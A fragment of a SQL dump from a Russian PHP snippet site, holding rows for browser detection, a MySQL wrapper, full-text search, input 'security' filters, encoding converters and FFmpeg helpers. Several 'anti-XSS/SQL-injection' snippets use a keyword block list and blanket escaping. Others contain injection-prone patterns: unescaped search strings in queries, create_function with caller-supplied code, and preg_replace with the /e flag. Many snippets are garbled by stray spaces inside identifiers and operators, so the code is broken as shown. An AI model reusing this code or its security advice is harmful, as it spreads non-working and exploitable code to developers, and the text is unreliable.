данным\r\nполя User-Agent','&lt;?php //------------------------------------------------------------------- // Функция определения браузера по данным поля User-Agent //------------------------------------------------------------------- function GetUserAgent() { // Получить переменную окружения $str=getenv(\'HTTP_USER_AGENT\'); // Попытаться определить известные браузеры по сигнатурам if (strpos($str,&quot;Avant Browser&quot;,0)! ==false) { return &quot;Avant Browser&quot;; } elseif (strpos($str,&quot;Acoo Browser&quot;,0)! ==false) { return &quot;Acoo Browser&quot;; } elseif (eregi(&quot;Iron/([0-9a-z\\.]*)&quot;,$str, $pocket)) { return &quot;SRWare Iron &quot;.$pocket[1]; } elseif (eregi(&quot;Chrome/([0-9a-z\\.]*)&quot;, $str,$pocket)) { return &quot;Google Chrome &quot;.$pocket[1]; } elseif (eregi(&quot;(Maxthon|NetCaptor) ( [0-9a-z\\.]*)?&quot;,$str,$pocket)) { return $pocket[1].$pocket[2]; } elseif (strpos($str,&quot;MyIE2&quot;,0)!==false) { return &quot;MyIE2&quot;; } elseif (eregi(&quot;(NetFront|K-Meleon| Netscape|Galeon|Epiphany| Konqueror|&quot;. &quot;Safari|Opera Mini)/([0-9a-z\\.]*)&quot;,$str, $pocket)) { return $pocket[1].&quot; &quot;.$pocket[2]; } elseif (eregi(&quot;Opera[/ ]([0-9a-z\\.]*)&quot;, $str,$pocket)) { return &quot;Opera &quot;.$pocket[1]; } elseif (eregi(&quot;Orca/([ 0-9a-z\\.]*)&quot;,$str, $pocket)) { return &quot;Orca Browser &quot;.$pocket[1]; } elseif (eregi(&quot;(SeaMonkey|Firefox| GranParadiso|Minefield|&quot;. &quot;Shiretoko)/([0-9a-z\\.]*)&quot; ,$str, $pocket)) { return &quot;Mozilla &quot;.$pocket[1].&quot; &quot;. $pocket[2]; } elseif (eregi(&quot;rv:([0-9a-z\\.]*)&quot;,$str, $pocket) &amp;&amp; strpos($str,&quot;Mozilla/&quot;,0)!==false) { return &quot;Mozilla &quot;.$pocket[1]; } elseif (eregi(&quot;Lynx/([0-9a-z\\.]*)&quot; ,$str, $pocket)) { return &quot;Lynx &quot;.$pocket[1]; } elseif (eregi(&quot;MSIE ([0-9a-z\\.]*)&quot;,$str, $pocket)) { return &quot;Internet Explorer &quot;.$pocket [1]; } else { // Это какой-то неизвестный браузер return &quot;Unknown&quot;; } } ?&gt;','files_3540_4498_',151),(71,12,'классок для базы данных MySQL','классок для базы данных MySQL','&lt;?php /* Есчё один классок для базы данных MySQL * * Скрип писался не совсем в трезвом состоянии) * * * */ */ class My_SQL { var $user_name ; var $password ; var $db_host ; var $db_name ; var $des ; # Дескриптор подключения /* * Конструктор класса * @param string $username - Логин пользователя * @param string $password - Пароль пользрвателя * @param string $dbname - Имя базы * @param string $dbhost - Хост. по дефолту = localhost */ function __construct ( $username , $password , $dbname , $dbhost = \'localhost\' ) { $this -&gt; db_host = $dbhost ; $this -&gt; db_name = $dbname ; $this -&gt; user_name = $username ; $this -&gt; password = $password ; } /* * Функция соединения с базой данных * */ function connect() { $this -&gt; des = mysql_pconnect ( $this -&gt; db_host , $this - &gt; user_name , $this -&gt; password ); if(! is_resource ($this -&gt; des )) { die( \'Невозможно подключиться к базе Данных\' ); } if(! mysql_select_db ( $this - &gt; db_name ,$this -&gt; des )) { die( \'Невозможно выбрать базу данных\' ); } } /* * Выполняем запрос к базе данных * @param string $query - Строка запроса * @param string $function - Функция обработки данных после вполнения запроса * @return void */ function execute( $query , $function = \'\' ) { if(! $this -&gt; des ) { $this -&gt; connect(); } $res = mysql_query ( $query , $this -&gt; des ); if(! is_resource ($res )) { die( \'Неудалось выполнить запрос к базе данных\' ); } if(! $function == \'\') { if( $func = call_user_func ( create_function ( \'$res\' ,\'return \'. $function ), $res )) { return $func ; } } return( $res ); } }','files_5444_3192_',151),(72,12,'* Организация полнотекстового поиска в MYSQL *','* Организация\r\nполнотекстового поиска в\r\nMYSQL\r\n*','&lt;?php //что ищем $search = \'поисковая строка\' ; /* Для организации поиска при небольшой нагрузки и коротких текстах отлично подходит оператор LIKE, пример */ $q = mysql_query ( &quot;SELECT * FROM tablica WHERE pole LIKE \'% $search %\' &quot; ); /* Тут вроде бы все нормально, но когда количество записей и их объем сильно возрастет вы заметите, что поиск начинает занимать довольно много времени, и в итоге может достичь недопустимых пределов. В таких случаях необходимо воспользоваться ИНДЕКСАМИ, например, сделаем через phpMyAdmin полнотекстовый индекс для ячейки pole, sql дамп создания таблицы приведен ниже CREATE TABLE `tablica` ( `id` int(11) NOT NULL auto_increment, `pole` TEXT, PRIMARY KEY (`id`), FULLTEXT KEY `kluch` (`pole`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 обратите внимание на FULLTEXT KEY `kluch` (`pole`), индекс повешен на ячейку pole, как нетрудно заметить, размер базы данных из-за индекса увеличился примерно вдвое (за все надо платить). Теперь искать по такой базе надо вот так: */ $q = mysql_query ( &quot;SELECT * FROM tablica WHERE MATCH pole AGAINST (\' $search \') &quot; ); /* Скорость поиска возрастет минимум в 10раз, так же из плюсов то, что результаты будут отсортированы по релевантности (тоесть сначала вся фраза, потом по частоте попадания слов)! (если не применять ORDER BY для иной сортировки конечно) Также есть и минусы: 1. слова менее 4 символов не учитываются (как не имеющие &quot;веса&quot;) 2. русские фразы находятся без учета морфологии 3. размер базы увеличивается из-за индекса 4. операции INSERT и UPDATE выполняются медленнее из-за индекса если у вас в таблице более 10000 строчек и размер бд более 5мб наверное стоит перейти на полнотекстовый поиск */ ?&gt;','files_2270_4583_',151),(73,18,'Запрет открытия сайта в iframe окне','Запрет открытия сайта в iframe окне','&lt;? header(&quot;X-Frame-Options: SAMEORIGIN&quot;); ?&gt;','files_1661_2176_',151),(74,18,'антиспам для сайта','заменяет ссылки спама на слово реклама','&lt;?php  function antispam_help($text)  {  $dom = array(\'www.\',\'wap.\'); //поддомены  if(preg_match(\'#^(https?|ftp)://(\'.implode(\'|\',$dom).\')?\'.str_replace(\'.\', \'.\', $_SERVER[\'SERVER_NAME\']).\'#\', $text[0]))  return \'&lt;a href=&quot;\'.$text[0].\'&quot;&gt;\'.$text[0].\'&lt;/a&gt;\';  else  return \'[реклама]\';  }    function antispam($text)  {  return preg_replace_callback(&quot;#(https?|ftp)://S+[^s.,&gt;)];\'&quot;!?]#&quot;, \'antispam_help\', $text);  }  ?&gt;','files_4006_2184_',151),(75,18,'Фильтрация текстовых данных','Вызов функции:\r\n$msg = text($_POST[\'msg\']);','&lt;?php function text ($var) { return htmlspecialchars ($var, ENT_ QUOTES, \'UTF-8\'); } ?&gt;','files_4583_4332_',151),(76,18,'Фильтрация числовых данных','Вызов функции:\r\n$number = int($_GET[\'number\']);','&lt;?php function int ($var) { return abs (intval ($var)); } ?&gt;','files_3648_1805_',151),(77,18,'Надежная captcha','Надежная и в то же\r\nвремя простая captcha на php','&lt;?php session_start(); $md5_hash = md5(rand (0,99999)); $security_ code = substr($md5_ hash, 25, 5); $enc = md5($security_ code); $_SESSION[\'captcha\'] = $enc; $width = 150; $height = 30; $image = ImageCreate ($width, $height); $ white = ImageColorAllocate ($ image, 255, 255, 255) ; $ black = ImageColorAllocate ($image, 0, 0, 0); $ grey = ImageColorAllocate ($ image, 200, 200, 200) ; ImageFill($ image, 0, 0, $white) ; ImageString($ image, 10, 5, 0, $ security_code, $ black); header(&quot;Content- Type: image/png&quot;); ImagePng($image); ImageDestroy($image); ?&gt;','files_2811_4671_',151),(78,18,'Фильтр нежелаемых GET и POSTзапросов','Данный PHP код\r\nдолжен быть подключен\r\nко всем файлам. При желании\r\nможно\r\nдоработать','&lt;?php foreach ( $_GET as $ getstr ) { if (eregi( \'\' |&lt;|&gt;| char|union|select| bench|,|`\', $getstr ) ) { header ( &quot;Location: not_ query.php&quot; ); exit; }} foreach ( $_POST as $ poststr ) { if (eregi( \'\' | char| union|select|bench| alert|`\', $poststr )) { header ( &quot;Location: not_ query.php&quot; ); exit; }} ?&gt;','files_1462_2092_',151),(79,18,'Защита от XSS','Защита от XSS думаю\r\nте кто знают поймут','&lt;?php function antihack(&amp;$ var ){ if(is_array ( $var )) array_walk ($var , \'antihack\' ); else $ var = htmlspecialchars (stripslashes( mysql_ real_escape_string ($var )), ENT_ QUOTES , \'UTF-8\' ); } foreach(array ( \'_SERVER\' , \'_ GET\' , \'_POST\' , \'_ COOKIE\' , \'_ REQUEST\' ) as $v ) { if(!empty(${ $v })) array_walk (${ $v } , \'antihack\' ); } ?&gt;','files_5140_5145_',151),(80,18,'Защита от прямых ссылок.','Это позволит скачать\r\nваш файл только с вашего\r\nсайта.\r\nнадо создать вот такой .htaccess','&lt;?php &amp;lt;?php # Защита от прямых ссылок # Это позволит скачать ваш файл только с вашего сайта. # надо создать вот такой .htaccess RewriteEngine on RewriteBase / # если надо разрешить скачку при пустом рефере раскомментируйте это # RewriteCond %{HTTP_ REFERER} !^$ # Дальше список идет набор разрешенных доменов RewriteCond %{ HTTP_ REFERER } !^ http (s )?: //(www.)? snippets.pp.ru [NC] RewriteCond %{ HTTP_ REFERER } !^ http (s )?: //(www.)? wen.ru [NC] # Форматы файлов, для которых устанавливается защита (например, mp3) RewriteRule .( mp3 )$ http: //ya.ru # Все запросы на http:// snippets.pp.ru/1.mp3 перекинутся на http:// ya.ru ?&gt;','files_2548_2928_',151),(81,18,'Защита от XSS и SQL-инъекций','Защита от XSS и SQL-инъекций','&lt;?php function check($var){ $var = trim($var); $ var = htmlspecialchars ($var); $var = mysql_real_ escape_string($var); return $var; } ?&gt;','files_5468_5043_',151),(82,18,'Безопасная запись в БД','Вызов функции:\r\nmysql_query (&quot;INSERT INTO table SET\r\nlogin = \'&quot;.guard ($login).&quot;\', pass = \'&quot;.md\r\n5($pass','&lt;?php function guard($var) { return mysql_real_ escape_string(trim($ var)); } ?&gt;','files_1561_1704_',151),(83,16,'Перевод из WIN в UTF8','Функция перевода)','&lt;?php //------------------ Функция перекодировки из WIN в UTF --------------------// function win_to_utf($str) { if (function_exists (\'mb_convert_encoding\')) return mb_convert_encoding ($str, \'utf-8\', \'windows-1251\'); if (function_exists(\'iconv\')) return iconv(\'windows-1251\', \'utf-8\', $str); $win1251utf8 = array( &quot;xC0&quot;=&gt;&quot;А&quot;,&quot;xC1&quot;=&gt;&quot;Б&quot;,&quot;xC2&quot;=&gt;&quot;В&quot;,&quot;xC3&quot;=&gt;&quot;Г&quot;,&quot;xC4&quot;=&gt;&quot;Д&quot;,&quot;xC5&quot;=&gt;&quot;Е&quot;,&quot;xA8&quot;=&gt;&quot;Ё&quot;,&quot;xC6&quot;=&gt;&quot;Ж&quot;,&quot;xC7&quot;=&gt;&quot;З&quot;,&quot;xC8&quot;=&gt;&quot;И&quot;,&quot;xC9&quot;=&gt;&quot;Й&quot;,&quot;xCA&quot;=&gt;&quot;К&quot;,&quot;xCB&quot;=&gt;&quot;Л&quot;,&quot;xCC&quot;=&gt;&quot;М&quot;, &quot;xCD&quot;=&gt;&quot;Н&quot;,&quot;xCE&quot;=&gt;&quot;О&quot;,&quot;xCF&quot;=&gt;&quot;П&quot;,&quot;xD0&quot;=&gt;&quot;Р&quot;,&quot;xD1&quot;=&gt;&quot;С&quot;,&quot;xD2&quot;=&gt;&quot;Т&quot;,&quot;xD3&quot;=&gt;&quot;У&quot;,&quot;xD4&quot;=&gt;&quot;Ф&quot;,&quot;xD5&quot;=&gt;&quot;Х&quot;,&quot;xD6&quot;=&gt;&quot;Ц&quot;,&quot;xD7&quot;=&gt;&quot;Ч&quot;,&quot;xD8&quot;=&gt;&quot;Ш&quot;,&quot;xD9&quot;=&gt;&quot;Щ&quot;,&quot;xDA&quot;=&gt;&quot;Ъ&quot;, &quot;xDB&quot;=&gt;&quot;Ы&quot;,&quot;xDC&quot;=&gt;&quot;Ь&quot;,&quot;xDD&quot;=&gt;&quot;Э&quot;,&quot;xDE&quot;=&gt;&quot;Ю&quot;,&quot;xDF&quot;=&gt;&quot;Я&quot;,&quot;xE0&quot;=&gt;&quot;а&quot;,&quot;xE1&quot;=&gt;&quot;б&quot;,&quot;xE2&quot;=&gt;&quot;в&quot;,&quot;xE3&quot;=&gt;&quot;г&quot;,&quot;xE4&quot;=&gt;&quot;д&quot;,&quot;xE5&quot;=&gt;&quot;е&quot;,&quot;xB8&quot;=&gt;&quot;ё&quot;,&quot;xE6&quot;=&gt;&quot;ж&quot;,&quot;xE7&quot;=&gt;&quot;з&quot;, &quot;xE8&quot;=&gt;&quot;и&quot;,&quot;xE9&quot;=&gt;&quot;й&quot;,&quot;xEA&quot;=&gt;&quot;к&quot;,&quot;xEB&quot;=&gt;&quot;л&quot;,&quot;xEC&quot;=&gt;&quot;м&quot;,&quot;xED&quot;=&gt;&quot;н&quot;,&quot;xEE&quot;=&gt;&quot;о&quot;,&quot;xEF&quot;=&gt;&quot;п&quot;,&quot;xF0&quot;=&gt;&quot;р&quot;,&quot;xF1&quot;=&gt;&quot;с&quot;,&quot;xF2&quot;=&gt;&quot;т&quot;,&quot;xF3&quot;=&gt;&quot;у&quot;,&quot;xF4&quot;=&gt;&quot;ф&quot;,&quot;xF5&quot;=&gt;&quot;х&quot;, &quot;xF6&quot;=&gt;&quot;ц&quot;,&quot;xF7&quot;=&gt;&quot;ч&quot;,&quot;xF8&quot;=&gt;&quot;ш&quot;,&quot;xF9&quot;=&gt;&quot;щ&quot;,&quot;xFA&quot;=&gt;&quot;ъ&quot;,&quot;xFB&quot;=&gt;&quot;ы&quot;,&quot;xFC&quot;=&gt;&quot;ь&quot;,&quot;xFD&quot;=&gt;&quot;э&quot;,&quot;xFE&quot;=&gt;&quot;ю&quot;,&quot;xFF&quot;=&gt;&quot;я&quot;); return strtr($str, $win1251utf8); } ?&gt;','files_1864_3685_',151),(84,16,'Шаблон проектирования','Шаблон Proxy — шаблон проектирования, который предоставляет объект, который\r\nконтролирует доступ к другому объекту, перехватывая все вызовы (выполняет функцию контейнера).','class IMath { public: virtual double add ( double x, double y ) = 0 ; virtual double sub (double x, double y ) = 0; virtual double mul (double x, double y ) = 0; virtual double div (double x, double y ) = 0; };  class Math : public IMath { public: double add( double x, double y ) { return x + y ; }  double sub(double x, double y ) { return x - y ; }  double mul (double x, double y ) { return x * y ; }  double div(double x, double y ) { return x / y ; } };  class MathProxy : public IMath { public: double add( double x, double y ) { return math. add (x, y ) ; }  double sub(double x, double y ) { return math. sub(x, y ); }  double mul (double x, double y ) { return math. mul (x, y ); }  double div(double x, double y ) { return math. div(x, y ); }  private : Math math; };  #include &lt;iostream&gt;  using std ::cout ; using std ::endl ;  int main() {  // Create math proxy MathProxy p ;  // Do the math cout &lt;&lt; &quot;4 + 2 = &quot; &lt;&lt; p.add ( 4, 2) &lt;&lt; endl ; cout &lt;&lt; &quot;4 - 2 = &quot; &lt;&lt; p. sub( 4, 2) &lt;&lt; endl ; cout &lt;&lt; &quot;4 * 2 = &quot; &lt;&lt; p.mul (4, 2) &lt;&lt; endl ; cout &lt;&lt; &quot;4 / 2 = &quot; &lt;&lt; p. div(4 , 2) &lt;&lt; endl ;  return 0; }','files_4577_5479_',151),(85,16,'Перекодировка из двухбайтовог о юникода в utf-8','/ / может быть встречались с таким в j2 me ?\r\n$ s = \'\\u 041f \\ u0440 \\ u 0435 \\ u 0432 \\u 0435 \\ u 0434 \\u 041a \\ u 0440 \\ u0435 \\ u 0432 \\ u 0435 \\u 0434 \\ u 043a \\ u043 e!\' ;','/ / чтобы перекодировать в нормальный вид можно пошаманить вот так echo preg _ replace( \'# \\\\\\\\ u ([ 0- 9 a - f]{ 4 })# se\' , \' iconv (&quot;UTF- 16 BE&quot; , &quot;UTF -8 &quot; , pack (&quot;H 4 &quot; , &quot;$ 1 &quot;))\' , $ s); print _ r( json _ decode( \'[&quot;\' . $ s. \'&quot;]\' ) );','files_1242_5199_',151),(86,16,'Массовая смена кодировки всех файлов','Массовая смена кодировки всех файлов из одной директории с utf8 на cp1251','&lt;?php function doit($dir=\'.\'){ $d=opendir($dir); while($f=readdir($d)){ if($f!==\'.\' AND $f!==\'..\'){ echo $f; if(is_file($dir.\'/\'.$f)){ echo \' Converting...\'; $a=file_get_contents($dir.\'/\'.$f); $a=iconv(\'UTF-8\',\'WINDOWS-1251\',$a); $fp=fopen($dir.\'/\'.$f,\'w\'); fwrite($fp,$a); fclose($fp); echo \' - OK&lt;br /&gt;\'; }elseif(is_dir($dir.\'/\'.$f)){ echo \' changing dir&lt;br /&gt;\'; doit($dir.\'/\'.$f); }else{ echo \' Skipping&lt;br /&gt;\'; } } } } doit(\'.\'); ?&gt;','files_4241_3940_',151),(87,16,'wordwrap длямногобайтовых кодировок','wordwrap для\r\nмногобайтовых кодировок','&lt;?php /** * wordwrap для многобайтовых кодировок * автор: Megido * 20.02.10 */ function mb_wordwrap ($str, $width=75, $break=&quot;\\n&quot;, $cut=false, $charset=&quot;null&quot;) { if ($charset == &quot;null&quot;) $charset = mb_internal_encoding(); $pieces = split($break, $str); $result = array(); foreach ($pieces as $piece) { $current = $piece; while ($cut &amp;&amp; mb_strlen ($current) &gt;$width) { $result[] = mb_substr ($current, 0, $width, $charset); $current = mb_substr ($current, $width, 2048, $charset); } $result[] = $current; } return(implode($break, $result)); } echo mb_wordwrap ($mb_string, 16, &quot;&lt;br/&gt;&quot;, true, &quot;utf-8&quot;); ?&gt;','files_1299_3583_',151),(88,16,'Перекодировка из hex- unicode','перекодировка из hex-\r\nunicode','&lt;?php /* *перекодировка из hex- unicode */ //в переменную s добавляется строка для перевода //пара символов для теста: $s=\'&amp;#x410;&amp;#x411;&amp;#x412;\'; //регулярное выражение $s=preg_replace_callback (&quot;|&amp;#x(.{3});| is&quot;,&quot;unicode2win&quot;,$s); //вывод обрабатываемой строки в кодировке виндовс-1251 echo $s; //функция обратного вызова для обработки function unicode2win($val) { $val=hexdec($val[1]); if ($val==401) return &quot;Ё&quot;; if ($val==451) return &quot;ё&quot;; return chr($val-848); } ?&gt;','files_1752_3527_',151),(89,16,'Функция определяетявляется ли строка UTF','Функция определяет\r\nявляется ли строка UTF','&lt;?php function is_utf8($string) { /* ** Функция определяет является ли строка UTF */ for ($i=0; $i&lt;strlen($string); $i++) { if (ord($string[$i]) &lt; 0x80) continue; elseif ((ord($string[$i]) &amp; 0xE0) == 0xC0) $n=1; elseif ((ord($string[$i]) &amp; 0xF0) == 0xE0) $n=2; elseif ((ord($string[$i]) &amp; 0xF8) == 0xF0) $n=3; elseif ((ord($string[$i]) &amp; 0xFC) == 0xF8) $n=4; elseif ((ord($string[$i]) &amp; 0xFE) == 0xFC) $n=5; else return false; for ($j=0; $j&lt;$n; $j++) { if ((++$i == strlen($string)) || ((ord($string[$i]) &amp; 0xC0) != 0x80)) return false; } } return true; } ?&gt;','files_2350_3564_',151),(90,16,'Декодирует строку в указанную кодировку','Декодирует строку в\r\nуказанную кодировку','&lt;?php if (is_utf8($string)) $detect=\'utf-8\'; else { $cp1251=0; $koi8u=0; $strlen=strlen($string); for($i=0;$i&lt;$strlen;$i++) { $code=ord($string[$i]); if (($code&gt;223 and $code&lt;256) or ($code==179) or ($code==180) or ($code==186) or ($code==191)) $cp1251++; // а-я, і, ґ, є, Ї if (($code&gt;191 and $code&lt;224) or ($code==164) or ($code==166) or ($code==167) or ($code==173)) $koi8u++; // а-я, є, і, ї, ґ } if ($cp1251&gt;$koi8u) $detect=\'windows-1251\'; else $detect=\'koi8-u\'; } if ($encoding==$detect) return $string; else return iconv($detect, $encoding.&quot;//TRANSLIT&quot;, $string); } ?&gt;','files_4872_3429_',151),(91,16,'PHP перекодируем текст изHTML-последовательностейи наоборот','PHP перекодируем текст из\r\nHTML-последовательностей\r\nи наоборот','&lt; ?php function unicon($str, $to_uni = false) { $cp = Array ( &quot;А&quot; =&gt; &quot;А&quot;, &quot;а&quot; =&gt; &quot;а&quot;, &quot;Б&quot; =&gt; &quot;Б&quot;, &quot;б&quot; =&gt; &quot;б&quot;, &quot;В&quot; =&gt; &quot;В&quot;, &quot;в&quot; =&gt; &quot;в&quot;, &quot;Г&quot; =&gt; &quot;Г&quot;, &quot;г&quot; =&gt; &quot;г&quot;, &quot;Д&quot; =&gt; &quot;Д&quot;, &quot;д&quot; =&gt; &quot;д&quot;, &quot;Е&quot; =&gt; &quot;Е&quot;, &quot;е&quot; =&gt; &quot;е&quot;, &quot;Ё&quot; =&gt; &quot;Ё&quot;, &quot;ё&quot; =&gt; &quot;ё&quot;, &quot;Ж&quot; =&gt; &quot;Ж&quot;, &quot;ж&quot; =&gt; &quot;ж&quot;, &quot;З&quot; =&gt; &quot;З&quot;, &quot;з&quot; =&gt; &quot;з&quot;, &quot;И&quot; =&gt; &quot;И&quot;, &quot;и&quot; =&gt; &quot;и&quot;, &quot;Й&quot; =&gt; &quot;Й&quot;, &quot;й&quot; =&gt; &quot;й&quot;, &quot;К&quot; =&gt; &quot;К&quot;, &quot;к&quot; =&gt; &quot;к&quot;, &quot;Л&quot; =&gt; &quot;Л&quot;, &quot;л&quot; =&gt; &quot;л&quot;, &quot;М&quot; =&gt; &quot;М&quot;, &quot;м&quot; =&gt; &quot;м&quot;, &quot;Н&quot; =&gt; &quot;Н&quot;, &quot;н&quot; =&gt; &quot;н&quot;, &quot;О&quot; =&gt; &quot;О&quot;, &quot;о&quot; =&gt; &quot;о&quot;, &quot;П&quot; =&gt; &quot;П&quot;, &quot;п&quot; =&gt; &quot;п&quot;, &quot;Р&quot; =&gt; &quot;Р&quot;, &quot;р&quot; =&gt; &quot;р&quot;, &quot;С&quot; =&gt; &quot;С&quot;, &quot;с&quot; =&gt; &quot;с&quot;, &quot;Т&quot; =&gt; &quot;Т&quot;, &quot;т&quot; =&gt; &quot;т&quot;, &quot;У&quot; =&gt; &quot;У&quot;, &quot;у&quot; =&gt; &quot;у&quot;, &quot;Ф&quot; =&gt; &quot;Ф&quot;, &quot;ф&quot; =&gt; &quot;ф&quot;, &quot;Х&quot; =&gt; &quot;Х&quot;, &quot;х&quot; =&gt; &quot;х&quot;, &quot;Ц&quot; =&gt; &quot;Ц&quot;, &quot;ц&quot; =&gt; &quot;ц&quot;, &quot;Ч&quot; =&gt; &quot;Ч&quot;, &quot;ч&quot; =&gt; &quot;ч&quot;, &quot;Ш&quot; =&gt; &quot;Ш&quot;, &quot;ш&quot; =&gt; &quot;ш&quot;, &quot;Щ&quot; =&gt; &quot;Щ&quot;, &quot;щ&quot; =&gt; &quot;щ&quot;, &quot;Ъ&quot; =&gt; &quot;Ъ&quot;, &quot;ъ&quot; =&gt; &quot;ъ&quot;, &quot;Ы&quot; =&gt; &quot;Ы&quot;, &quot;ы&quot; =&gt; &quot;ы&quot;, &quot;Ь&quot; =&gt; &quot;Ь&quot;, &quot;ь&quot; =&gt; &quot;ь&quot;, &quot;Э&quot; =&gt; &quot;Э&quot;, &quot;э&quot; =&gt; &quot;э&quot;, &quot;Ю&quot; =&gt; &quot;Ю&quot;, &quot;ю&quot; =&gt; &quot;ю&quot;, &quot;Я&quot; =&gt; &quot;Я&quot;, &quot;я&quot; =&gt; &quot;я&quot; ); if ($to_uni) { $str = strtr($str, $cp); } else { foreach ($cp as $c) { $cpp[$c] = array_search($c, $cp); } $str = strtr($str, $cpp); } return $str; } echo unicon(\'Москва Тверская 7\'); //выводим расшифрованую запись в браузер ?&gt;','files_5417_5230_',151),(92,16,'Массовая смена кодировки всех файлов из одной директории сutf8 на cp1251','Массовая смена кодировки всех\r\nфайлов из одной директории с\r\nutf8 на cp1251','&lt;?php function doit ( $dir = \'.\' ){ $d = opendir( $dir ); while( $f = readdir ( $d )){ if( $f !== \'.\' AND $f !== \'..\' ){ echo $f ; if( is_file ( $dir . \'/\' . $f )){ echo \' Converting...\' ; $a = file_get_contents ( $dir .\'/\' . $f ); $a = iconv ( \'UTF-8\' ,\'WINDOWS-1251\' ,$a ); $fp = fopen ( $dir . \'/\' . $f , \'w\' ); fwrite( $fp ,$a ); fclose( $fp ); echo \' - OK&lt;br /&gt;\' ; }elseif( is_dir ( $dir .\'/\' . $f )){ echo \' changing dir&lt;br /&gt;\' ; doit( $dir . \'/\' .$f ); }else{ echo \' Skipping&lt;br /&gt;\' ; } } } } doit ( \'.\' ); ?&gt;','files_3501_5124_',151),(93,19,'музыка на сайте','Этот код проигрывает музыку на странице.','&amp;lt;bodybgsoundsrc=\\&amp;quot; http:// url_мелодии(midi.mp3)\\&amp;quot; loop=\\&amp;quot;число повторений\\&amp;quot; volume=\\&amp;quot;громкость (-1000- 0)\\&amp;quot;balance=\\&amp;quot;баланс (-1000- 1000)\\&amp;quot;/&amp;gt; 1','files_1866_1667_',151),(94,19,'скриншота сайта','Функция создаст файл screen.jpg с указанными\r\nпараметрами.\r\nПараметры функции:\r\nscreen(адрес, разрешение, размер, формат);\r\nадрес – начиная с http:// адрес сайта, с\r\nкоторого будет снят скриншот\r\nразрешение - указывается в пикселях,\r\nнапример (1024x768)\r\nразмер - ограничивается максимальное\r\nзначение высоты и ширины,\r\nмасштабированной картинки\r\nформат - может принимать два значения\r\n(JPEG|PNG), по умолчанию &quot;JPEG&quot;.','&lt;?php function screen( $url , $razr , $razm , $form) { $toapi =&quot;http: //mini.s-shot.ru/&quot; .$razr.&quot;/&quot;.$razm.&quot;/&quot;.$form.&quot;/?&quot;.$url; $scim =file_get_contents( $toapi ); file_put_contents( &quot;screen.&quot; .$form , $scim ); } screen( &quot;http: //sitear.ru&quot; , &quot;1024x768&quot;, &quot;600&quot;, &quot;jpeg&quot;); ?&gt;','files_3551_3239_',151),(95,19,'Получаем анимированую картинку видео','Получаем анимированую картинку видео','$file = &quot;file.avi&quot; ; $movie = new ffmpeg_movie ( $file ); $gif =new ffmpeg_animated_gif (&quot;image.gif&quot; ,100 , 100 , 24 ); for ( $frame = 150 ; $frame &lt;= 200; $frame ++) { $image = $movie -&gt; getFrame ($frame ); $gif -&gt; addFrame ( $image );}','files_4008_2608_',151),(96,19,'Распил картинки на квадратики','рядом с файлом создать папку img, в нее положить файл картинки *.jpg\r\nимя картинки передать в функцию, второй параметр не обязательный, пилит картинку на кучу квадратиков','function koecrushimage($imgfile, $sidepart=4) {  $root = realpath(dirname(__FILE__)) . DIRECTORY_SEPARATOR;  $dir = \'img\';  $crushdir = \'crush\';  if (!is_dir($root . $dir)) mkdir($root . $dir, 0777, true);  if (!is_dir($root . $dir . DIRECTORY_SEPARATOR . $crushdir)) mkdir($root . $dir . DIRECTORY_SEPARATOR . $crushdir, 0777, true);  $parts = pow($sidepart, 2);  if (!is_dir($root . $dir . DIRECTORY_SEPARATOR . $crushdir . DIRECTORY_SEPARATOR . substr($imgfile, 0, -4) . DIRECTORY_SEPARATOR . $parts)) mkdir($root . $dir . DIRECTORY_SEPARATOR . $crushdir . DIRECTORY_SEPARATOR . substr($imgfile, 0, -4) . DIRECTORY_SEPARATOR . $parts, 0777, true);  $img = imagecreatefromjpeg($root . $dir . DIRECTORY_SEPARATOR . $imgfile); $x = imagesx($img); $y = imagesy($img); $newx = (intval($x/$sidepart))*$sidepart; $newy = (intval($y/$sidepart))*$sidepart; $newimg = imagecreatetruecolor($newx, $newy); imagefill($newimg, 0, 0, 0x000000); imagecopyresampled($newimg, $img, 0, 0, 0, 0, $x, $y, $newx, $newy); $picx = $newx/$sidepart; $picy = $newy/$sidepart;  for ($i=0, $gorizontal=0; $i&lt;$parts; $i++) { $newpic = imagecreatetruecolor($picx, $picy); imagefill($newpic, 0, 0, 0x000000); if ((($i%$sidepart)==0) &amp;&amp; ($i!=0)) { $gorizontal++; } $vertical = ($i!=0) ? ($i%$sidepart) : $i; imagecopyresampled($newpic, $newimg, 0, 0, ($vertical*$picx), ($gorizontal*$picy), $picx, $picy, $picx, $picy); imagejpeg($newpic, $root . $dir . DIRECTORY_SEPARATOR . $crushdir . DIRECTORY_SEPARATOR . substr($imgfile, 0, -4) . DIRECTORY_SEPARATOR . $parts . DIRECTORY_SEPARATOR . \'pic\' . ($i+1) . \'.jpg\', 25); imagedestroy($newpic); } screen($parts, $dir . DIRECTORY_SEPARATOR . $crushdir . DIRECTORY_SEPARATOR . substr($imgfile, 0, -4) . DIRECTORY_SEPARATOR . $parts); }  function screen($parts, $dir) { echo \'&lt;table&gt;&lt;tr&gt;\' . PHP_EOL; for ($i=1;$i&lt;=$parts;$i++) { echo \'&lt;td&gt;\' . PHP_EOL; echo \'&lt;img src=&quot;\' . $dir . DIRECTORY_SEPARATOR . \'pic\' . $i . \'.jpg&quot; alt=&quot;\' . $i . \'&quot; /&gt;\' . PHP_EOL; echo \'&lt;/td&gt;\' . PHP_EOL; if (($i%(sqrt($parts))==0) &amp;&amp; ($i!=0)){ echo \'&lt;/tr&gt;&lt;tr&gt;\' . PHP_EOL; } } echo \'&lt;/tr&gt;&lt;/table&gt;\' . PHP_EOL; }  koecrushimage(\'test.jpg\', 10);','files_2753_4138_',151),(97,19,'Работаем с FFmpeg (4)','Создаем скрин (анимация) gif с видео','&lt;?php // создаём анимированый гиф // путь до файла $file = &quot;/www/1.avi&quot;; // поехали =) $movie = new ffmpeg_movie($file); // создаём анимацию $gif=new ffmpeg_animated_gif(&quot;/www/primer.gif&quot;, 100 ,100 ,24); for ($frame = 150; $frame &lt;=200; $frame++) { $image = $movie-&gt;getFrame($frame); $gif-&gt;addFrame($image); } ?&gt;','files_2641_3171_',151),(98,19,'Работаем с FFmpeg (3)','получаем и редактируем кадр с видео','&lt;?php // получаем скриншот по средствам php ffmpeg и уменьшаем его // путь до файла $file = &quot;/www/1.avi&quot;; // кадр который будем выхватывать $frame = 150; // максимальный размер по высоте $max_width = 150; // получаем кадр в gd $movie = new ffmpeg_movie($file); $image = $movie-&gt;getFrame($frame); $show_img = $image-&gt;toGDImage(); // редактируем то что в gd $new_image = new ffmpeg_frame($show_img); //вычисляем старые значения ширины и высоты $old_width = 